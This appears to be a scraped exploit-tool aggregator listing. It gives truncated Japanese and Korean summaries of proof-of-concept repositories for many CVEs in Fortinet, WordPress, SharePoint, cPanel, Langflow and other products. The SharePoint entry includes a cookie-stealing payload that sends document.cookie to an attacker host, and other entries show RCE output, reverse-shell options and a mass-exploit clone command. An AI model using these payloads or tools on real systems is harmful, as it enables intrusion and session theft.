cve-2024-21762-poc

cve-2024-21762-poc CVE-2024-21762 は、Fortinet 社の FortiOS および FortiProxy 製品における深刻な脆弱性であり、その SSL VPN コンポーネントに存在します。この脆弱性により、認証されていないリモート攻撃者が特別に細工された HTTP リクエストを通じて、標的システム上で任意のコードまたはコマンドを実行でき、システムが完全に制御される可能性があります。 危険性：...

CVE-2024-25600-WordPress-Bricks-Builder-RCE-PoC

CVE-2024-25600 — WordPress Bricks Builder RCE PoC 인증되지 않은 원격 코드 실행 취약점이 WordPress Bricks Builder id uid=33www-data gid=33www-data groups=33www-data 참고 자료 CVE-2024-25600 Bricks Builder 보안 권고 Wordfence 분석 글 크레딧 발견: Snicco / Calvin Alkan 원본 익스플로잇: K3ysTr0K3R 정리 및 단순화: Esteban Zárate...

copyfail-rs

copyfail-rs CVE-2026-31431（Copy Fail）のRust実装 — AFALG spliceを介したLinuxカーネルのページキャッシュ書き込みプリミティブ。 中文文档 / Chinese README CVE-2026-31431 Linuxカーネルのalgifaead実装では、権限のないユーザーがspliceシステムコールを介して、読み取り可能な任意のファイルのページキャッシュに任意のデータを書き込むことができます。authencesn AEADアルゴリズムは、seqnolo（ユーザー制御のAADバイト4〜7）をオフセットassoclen +...

CVE-2026-32201-exploit

概要 CVE-2026-32201 用の Python エクスプロイト - Microsoft SharePoint Server における不適切な入力検証により、認証されていないネットワークスプーフィングが可能になります C:L/I:L。 影響を受けるバージョン: SharePoint Server 2016 Enterprise、2019、Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 出力例: root@kitploit...

CVE-2026-32475-PoC

CVE-2026-32475 — Elementor Pro 認証なし任意ファイルアップロード → RCE CVE-2026-32475 （CVSS 9.0）の概念実証コード：Elementor Pro WordPress プラグイン（≤ 4.2.1）における認証なし任意ファイルアップロードの脆弱性で、リモートコード実行（RCE）に至ります。...

cpsniper

cPanelSniper CVE-2026-41940 — セッションファイルCRLFインジェクションによるcPanel & WHM認証バイパス 4段階エクスプロイトチェーン · 対話型WHMシェル · 1000万以上のターゲットでTRUE STABLE · メモリ使用量ゼロ · stdlibのみ 概要 cPanelSniper は、cPanel & WHM に影響を与える重大な認証バイパス脆弱性である CVE-2026-41940 に特化したエクスプロイトフレームワークです。この脆弱性により、認証されていないリモート攻撃者が、有効な認証情報なしで Authorization...

CVE-2026-35616

CVE-2026-35616 — FortiClient EMS 事前認証バイパス FortiClient Endpoint Management Server の認証バイパス（CVE-2026-35616）の Proof of Concept（PoC） このスクリプトは、FortiClient EMS の認証バイパス脆弱性を悪用し、保護された API エンドポイントへの未認証アクセスを可能にします。 影響を受けるバージョン FortiClient EMS 7.4.5、7.4.6 修正済みバージョン FortiClient EMS 7.4.7 要件 root@kitploit: pip...

CVE-2026-3844

CVE-2026-3844 Breeze Cache ≤ 2.4.4 - 未認証の任意ファイルアップロード ⚠️ 免責事項 root@kitploit: このツールは教育およびセキュリティ研究目的のみで提供されています。 コンピュータシステムへの不正アクセスは違法です。このツールは、所有しているシステム、 または明示的なテスト許可を得たシステムでのみ使用してください。 作者は、このソフトウェアの誤用または損害について一切の責任を負いません。 📋 説明 CVE-2026-3844 は、WordPress 用 Breeze Cache プラグイン（バージョン ≤...

CVE-2024-34102

CVE-2024-34102 - CosmicSting XXE エクスプロイト CVE-2024-34102 CosmicSting のエクスプロイト - Adobe Commerce および Magento の XML 外部実体 XXE 脆弱性。 📋 脆弱性について CVE-2024-34102 は、以下に影響を与える重大な XXE XML 外部実体 脆弱性です: Adobe Commerce バージョン 2.4.7、2.4.6-p5、2.4.5-p7、2.4.4-p8 およびそれ以前 Magento Open Source 同じバージョン...

CVE-2026-44024_exploit

CVE-2026-44024 — Fluentd outfile $tag パストラバーサルによる任意ファイル書き込み Fluentd の outfile プラグインにおける、$tag プレースホルダーを介した認証不要の任意ファイル書き込み。 outfile を使うと、オペレータは $tag プレースホルダーで出力パスをテンプレート化できます（例: path /var/log/fluent/$tag）。Outputextractplaceholders（lib/fluent/plugin/output.rb）は、イベントのタグをパスに置換しますが、../...

POC_CVE-2024-12537

CVE-2024-12537 Open WebUI 코드 포맷 DoS 실습 환경 이 저장소는 CVE-2024-12537에 대한 로컬 격리 재현 실습 환경과 nuclei 템플릿 후보를 포함합니다. 이는 Open WebUI의 코드 포맷팅 엔드포인트에서의 인증되지 않은 서비스 거부 취약점입니다. 이 실습 환경은 대규모 서비스 거부 페이로드를 보내지 않습니다. Open WebUI의 인증되지 않은 /api/version 핑거프린트 엔드포인트와 /api/v1/utils/code/format에 대한 최소 "code":"x" 요청을 통해 nucl...

CVE-2023-27372-SPIP-4.2.1-Unauthenticated-RCE-PoC

CVE-2023-27372 — SPIP SPIP 4.2.1以前における未認証のリモートコード実行の脆弱性。パスワードリセットフォームの oubli パラメータが、不適切なデシリアライズ処理によりPHPオブジェクトインジェクションに対して脆弱です。細工されたシリアライズペイロードがWebユーザとしてサーバー側で実行され、その出力がレスポンス内の oubli 入力フィールドの値に反映されます。 仕組み 1. /spip.php?page=spippass からアンチCSRFトークンを取得します。 2. oubli...

CVE-2018-16763-Fuel-CMS-1.4.1-Remote-Code-Execution-PoC

CVE-2018-16763 — Fuel CMS 1.4.1 リモートコード実行 PoC Fuel CMS 1.4.1 における認証なしの RCE 脆弱性。/fuel/pages/select/ エンドポイントの filter パラメータがサニタイズされずに PHP バックエンドの eval 呼び出しに渡され、細工されたペイロードによって任意のコード実行が可能になります。ブラインドインジェクションとは異なり、出力は HTTP レスポンスに直接反映される ため、中間ファイルは不要です。 動作の仕組み 1. 目的のコマンドを指定して PHP の system を呼び出す、特別に細工された...

CVE-2025-58434-Unauthenticated-Password-Reset-Flowwise

Flowise パスワードリセットによるアカウント乗っ取り ATO 研究およびテスト目的専用です。このツールを意図した用途以外で使用した場合、実稼働中のインフラに生じた損害について私は一切責任を負いません。所有するシステム、またはテストの許可を得たシステムでのみ使用してください。 使い方 root@kitploit: usage: CVE-2025-58434-PasswordResetNew.py -h -u URL -e EMAIL -p PASSWORD Flowise Password Reset Exploit ATO options: -h, --help show this...

CVE-2025-56399

CVE-2025-56399 대량 익스플로잇 CVE-2025-56399 – laravel-file-manager v3.3.1의 원격 코드 실행 취약점. Laravel File Manager의 잘못 구성된 설정을 악용하여 인증 없이 파일 업로드로 PHP 셸을 업로드하고 검증합니다. 설치 저장소 다운로드 root@kitploit: git clone https://github.com/im-hanzou/CVE-2025-56399 저장소 폴더로 이동 root@kitploit: cd CVE-2025-56399 필요 패키지 설치...

CVE-2025-55182

CVE-2025-55182 — React2Shell: 고급 익스플로잇 및 석사 학위 논문 연구 -brightred 신뢰할 수 없는 데이터 역직렬화 + React Server Components의 프로토타입 오염 Next.js Server Actions를 통한 인증되지 않은 원격 코드 실행 영향 범위: React 19.0.0 - 19.2.0 · 패치: React 19.0.1 / 19.1.2 / 19.2.1 2025년 12월 3일 고급 익스플로잇 시연 - 취약한 Next.js 애플리케이션에 대한 RCE 기본 명령, 인터랙티브 셸 ...

PoC-CVE-2026-33017

PoC: CVE-2026-33017 Langflow = 1.8.1 は、リモート・未認証の RCE に対して脆弱です https://nvd.nist.gov/vuln/detail/CVE-2026-33017 使用方法 root@kitploit: usage: CVE-2026-33017.py -h --lhost LHOST --lport LPORT target PoC exploit: CVE-2026-33017 positional arguments: target Target hostname options: -h, --help show this...

CVE-2026-0300-POC

🛡️ CVE-2026-0300: PAN-OS User-ID™ ポータル RCE 分析 研究用 Proof-of-Concept: CWE-787 領域外書き込み 📌 概要 CVE-2026-0300 は、Palo Alto Networks PAN-OS の User-ID™ 認証ポータル（キャプティブポータル）で特定された、深刻度の高いバッファオーバーフローの脆弱性です。この研究用リポジトリは、この脆弱性の技術的ロジックを実証するものであり、特に認証されていないネットワークパケットがどのようにして root 権限でのリモートコード実行（RCE）につながるかに焦点を当てています。 📊...

SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis

SharePoint ToolShell CVE-2025-53770 사고 분석 개요 이 프로젝트는 ToolShell 취약점CVE-2025-53770을 이용하여 SharePoint 서버를 표적으로 삼은 실제 공격 시도에 대한 조사 내용을 기록합니다. 이 공격은 원격 코드 실행, 웹쉘 배포, 자격 증명 데이터 추출을 포함한 전체 악용 체인을 보여줍니다. 초기 접근 공격은 SharePoint 서버를 표적으로 하는 CVE-2025-53770 악용을 나타내는 의심스러운 경보로 시작되었습니다. 악용 요청 인증되지 않은 HTTP POST 요청...

CVE-2026-1107

CVE-2026-1107 Nuclei テンプレート EyouCMS における CVE-2026-1107 を検出するための Nuclei テンプレートです。 この脆弱性により、認証されていない攻撃者が Diyajax.php の checkuserinfo 関数を介してパストラバーサル/任意ファイル読み取りを実行できます。 脆弱性の詳細 CVE ID: CVE-2026-1107 対象: EyouCMS 1.7.1 コンポーネント: メンバーアバターハンドラー Diyajax.php 影響: 重大 任意ファイル読み取り / RCE の可能性 ベクター: POST...